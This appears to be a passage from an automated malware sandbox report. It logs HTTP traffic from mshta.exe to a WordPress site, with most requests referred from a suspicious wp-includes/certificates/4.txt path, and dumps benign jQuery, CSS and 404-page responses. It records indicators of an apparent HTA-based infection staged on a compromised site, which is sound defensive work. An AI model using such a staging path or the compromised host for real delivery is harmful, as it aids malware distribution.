7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2a 61 2b 63 Data Ascii: jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b(a/=d)a+c},easeOutQuad:function(e,a,c,b,d){return-b(a/=d)(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aa+c:-b/2(--a(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b(a/=d)aa+c},easeOutCubic:function(e,a,c,b,d){return b((a=a/d-1)aa+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaa+c:b/2((a-=2)aa+2)+c},easeInQuart:function(e,a,c,b,d){return b(a/=d)aaa+c},easeOutQuart:function(e,a,c,b,d){return-b((a=a/d-1)aaa-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa+c:-b/2((a-=2)aaa-2)+c},easeInQuint:function(e,a,c,b,d){return b(a/=d)aaaa+c},easeOutQuint:function(e,a,c,b,d){return b((a=a/d-1)aaaa+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa*a+c
Aug 16, 2022 11:44:56.045227051 CEST	1988	IN	Data Raw: 3a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 53 69 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 4d 61 74 68 2e 63 6f 73 28 61 2f 0a 64 2a 28 Data Ascii: :b/2((a-=2)aaaa+2)+c},easeInSine:function(e,a,c,b,d){return-bMath.cos(a/d(Math.PI/2))+b+c},easeOutSine:function(e,a,c,b,d){return bMath.sin(a/d(Math.PI/2))+c},easeInOutSine:function(e,a,c,b,d){return-b/2(Math.cos(Math.PI*a/d)-1)+c},
Aug 16, 2022 11:44:56.045295954 CEST	1989	IN	Data Raw: 3b 66 7c 7c 28 66 3d 64 2a 30 2e 33 2a 31 2e 35 29 3b 67 3c 4d 61 74 68 2e 61 62 73 28 62 29 3f 28 67 3d 62 2c 65 3d 66 2f 34 29 3a 65 3d 66 2f 28 32 2a 4d 61 74 68 2e 50 49 29 2a 4d 61 74 68 2e 61 73 69 6e 28 62 2f 67 29 3b 72 65 74 75 72 6e 20 Data Ascii: ;f\|\|(f=d0.31.5);g<Math.abs(b)?(g=b,e=f/4):e=f/(2Math.PI)Math.asin(b/g);return 1>a?-0.5gMath.pow(2,10(a-=1))Math.sin((ad-e)2Math.PI/f)+c:0.5gMath.pow(2,-10(a-=1))Math.sin((ad-e)2Math.PI/f)+b+c},easeInBack:function(e,a,c,b,d,f)
Aug 16, 2022 11:44:56.047460079 CEST	1989	OUT	GET /wp-content/themes/CherryFramework/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:56.276175022 CEST	2019	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:37:14 GMT Server: Apache ETag: "a52f1b-20b-58592c21db700" Last-Modified: Tue, 02 Apr 2019 21:24:12 GMT Content-Length: 523 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 17003365 23601813 Age: 461 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 63 68 65 72 72 79 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 33 2e 38 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 2e 31 0a 09 54 61 67 73 3a 20 64 61 72 6b 2c 20 6c 69 67 68 74 2c 20 77 68 69 74 65 2c 20 62 6c 61 63 6b 2c 20 67 72 61 79 2c 20 6c 65 66 74 2d 73 69 64 65 62 61 72 2c 20 72 69 67 68 74 2d 73 69 64 65 62 61 72 2c 20 66 69 78 65 64 2d 77 69 64 74 68 2c 20 66 6c 65 78 69 62 6c 65 2d 77 69 64 74 68 2c 20 63 75 73 74 6f 6d 2d 6d 65 6e 75 2c 20 65 64 69 74 6f 72 2d 73 74 79 6c 65 2c 20 66 65 61 74 75 72 65 64 2d 69 6d 61 67 65 73 2c 20 66 75 6c 6c 2d 77 69 64 74 68 2d 74 65 6d 70 6c 61 74 65 2c 20 70 6f 73 74 2d 66 6f 72 6d 61 74 73 2c 20 72 74 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 75 70 70 6f 72 74 2c 20 73 74 69 63 6b 79 2d 70 6f 73 74 2c 20 74 68 65 6d 65 2d 6f 70 74 69 6f 6e 73 2c 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 61 64 79 0a 09 4c 69 63 65 6e 73 65 3a 0a 09 4c 69 63 65 6e 73 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 0a 09 54 65 78 74 20 44 6f 6d 61 69 6e 3a 20 63 68 65 72 72 79 0a 2a 2f 0a 40 69 6d 70 6f 72 74 20 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3b 0a Data Ascii: /Theme Name: cherryTheme URI: //info.template-help.com/help/Description: A theme for Wordpress 3.8.xAuthor: Template_Help.comAuthor URI: //info.template-help.com/help/Version: 3.1.5.1Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-readyLicense:License URI: http://Text Domain: cherry/@import "css/style.css";
Aug 16, 2022 11:44:56.278574944 CEST	2019	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:56.507149935 CEST	2077	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:37 GMT Server: Apache ETag: "a4fad2-1860-58592f81e2d80" Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT Content-Length: 6240 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 17003367 21929783 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 6a 2c 63 2c 6c 29 7b 63 2e 66 6e 2e 74 6f 75 63 68 77 69 70 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7b 6d 69 6e 5f 6d 6f 76 65 5f 78 3a 32 30 2c 6d 69 6e 5f 6d 6f 76 65 5f 79 3a 32 30 2c 77 69 70 65 4c 65 66 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 52 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 55 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 44 6f 77 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 3a 21 30 7d 3b 61 26 26 63 2e 65 78 74 65 6e 64 28 62 2c 61 29 3b 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 29 3b 64 3d 6e 75 6c 6c 3b 6b 3d 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 28 68 29 7b 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 26 26 68 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 69 66 28 6b 29 7b 76 61 72 20 66 3d 64 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 3b 68 3d 65 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 3b 4d 61 74 68 2e 61 62 73 28 66 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 78 3f 28 61 28 29 2c 30 3c 66 3f 62 2e 77 69 70 65 4c 65 66 74 28 29 3a 62 2e 77 69 70 65 52 69 67 68 74 28 29 29 3a 4d 61 74 68 2e 61 62 73 28 68 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 79 26 26 28 61 28 29 2c 0a 30 3c 68 3f 62 2e 77 69 70 65 44 6f 77 6e 28 29 3a 62 2e 77 69 70 65 55 70 28 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 31 3d 3d 61 2e 74 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 2c 65 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 2c 6b 3d 21 30 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 2c 21 31 29 29 7d 76 61 72 20 64 2c 65 2c 6b 3d 21 31 3b 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 66 2c 21 31 29 7d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 24 65 6c 3d 63 28 62 29 3b 74 68 69 73 2e 5f 69 6e 69 74 28 61 29 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 3d 7b 73 70 65 65 64 3a 34 35 30 2c 65 61 73 69 6e 67 3a 22 65 61 73 65 4f 75 74 42 61 63 6b 22 2c 69 6d 61 67 65 57 3a 31 39 30 2c 6d 61 72 67 69 6e 3a 33 2c 62 6f 72 64 65 72 3a 32 2c 6d 69 6e 49 74 65 6d 73 3a 31 2c 63 75 72 72 65 6e 74 3a 30 2c 6f 6e 43 6c 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 31 7d 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 Data Ascii: (function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislid
Aug 16, 2022 11:44:56.507251978 CEST	2079	IN	Data Raw: 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 5f 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 0a 63 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 Data Ascii: e.prototype={_init:function(a){this.options=c.extend(!0,{},c.elastislide.defaults,a);this.$slider=this.$el.find("ul");this.$items=this.$slider.children("li");this.itemsCount=this.$items.length;this.$esCarousel=this.$slider.parent();this._vali
Aug 16, 2022 11:44:56.507293940 CEST	2080	IN	Data Raw: 7d 2c 5f 73 65 74 43 75 72 72 65 6e 74 56 61 6c 75 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 74 65 6d 57 3d 74 68 69 73 2e 24 69 74 65 6d 73 2e 6f 75 74 65 72 57 69 64 74 68 28 21 30 29 3b 74 68 69 73 2e 73 6c 69 64 65 72 57 3d Data Ascii: },_setCurrentValues:function(){this.itemW=this.$items.outerWidth(!0);this.sliderW=this.itemW*this.itemsCount;this.visibleWidth=this.$esCarousel.width();this.fitCount=Math.floor(this.visibleWidth/this.itemW)},_addControls:function(){this.$navNe
Aug 16, 2022 11:44:56.507333994 CEST	2082	IN	Data Raw: 3b 74 68 69 73 2e 24 69 74 65 6d 73 2e 62 69 6e 64 28 22 63 6c 69 63 6b 2e 65 6c 61 73 74 69 73 6c 69 64 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 6f 70 74 69 6f 6e 73 2e 6f 6e 43 6c 69 63 6b 28 63 28 74 68 69 73 29 29 7d 29 3b 61 2e 24 73 Data Ascii: ;this.$items.bind("click.elastislide",function(){a.options.onClick(c(this))});a.$slider.touchwipe({wipeLeft:function(){a._slide("right")},wipeRight:function(){a._slide("left")}})},_slide:function(a,b,g,j){if(this.$slider.is(":animated"))return
Aug 16, 2022 11:44:56.507404089 CEST	2083	IN	Data Raw: 73 2e 6d 61 72 67 69 6e 3f 74 68 69 73 2e 5f 74 6f 67 67 6c 65 43 6f 6e 74 72 6f 6c 73 28 22 72 69 67 68 74 22 2c 31 29 3a 74 68 69 73 2e 5f 74 6f 67 67 6c 65 43 6f 6e 74 72 6f 6c 73 28 22 72 69 67 68 74 22 2c 2d 31 29 3b 63 2e 66 6e 2e 61 70 70 Data Ascii: s.margin?this._toggleControls("right",1):this._toggleControls("right",-1);c.fn.applyStyle=g===l?c.fn.animate:c.fn.css;this.$slider.applyStyle({marginLeft:b},c.extend(!0,[],{duration:this.options.speed,easing:this.options.easing,complete:funct
Aug 16, 2022 11:44:56.509218931 CEST	2084	OUT	GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:57.607712030 CEST	2099	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:44:56 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Content-Type: text/html; charset=UTF-8 X-Varnish: 17003369 Age: 0 Via: 1.1 varnish-v4 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt
Aug 16, 2022 11:44:57.607745886 CEST	2100	IN	Data Raw: 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f Data Ascii: ernate" type="application/atom+xml" title="Facex" href="https://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><
Aug 16, 2022 11:44:57.607764959 CEST	2102	IN	Data Raw: 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 Data Ascii: g\/","svgExt":".svg","source":{"concatemoji":"http:\/\/facextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var
Aug 16, 2022 11:44:57.607779980 CEST	2102	IN	Data Raw: 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 Data Ascii: erythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1
Aug 16, 2022 11:44:57.610413074 CEST	2104	IN	Data Raw: 30 30 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 Data Ascii: 00101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49795	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:57.999391079 CEST	2158	OUT	GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:58.241307020 CEST	2168	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:37:14 GMT Server: Apache ETag: "a53047-101d2-58592d3578140" Last-Modified: Tue, 02 Apr 2019 21:29:01 GMT Content-Length: 66002 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588046 17189189 Age: 463 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 62 6f 64 79 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 7d 0a 2e 69 65 38 20 62 6f 64 79 20 7b 20 6d 69 6e 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 20 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 68 65 61 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 7d 0a 7d 0a 62 6f 64 79 5b 63 6c 61 73 73 2a 3d 22 73 70 61 6e 22 5d 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 3b 0a 09 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 61 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 61 3a 66 6f 63 75 73 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 31 3b 0a 7d 0a 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 61 66 61 66 61 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 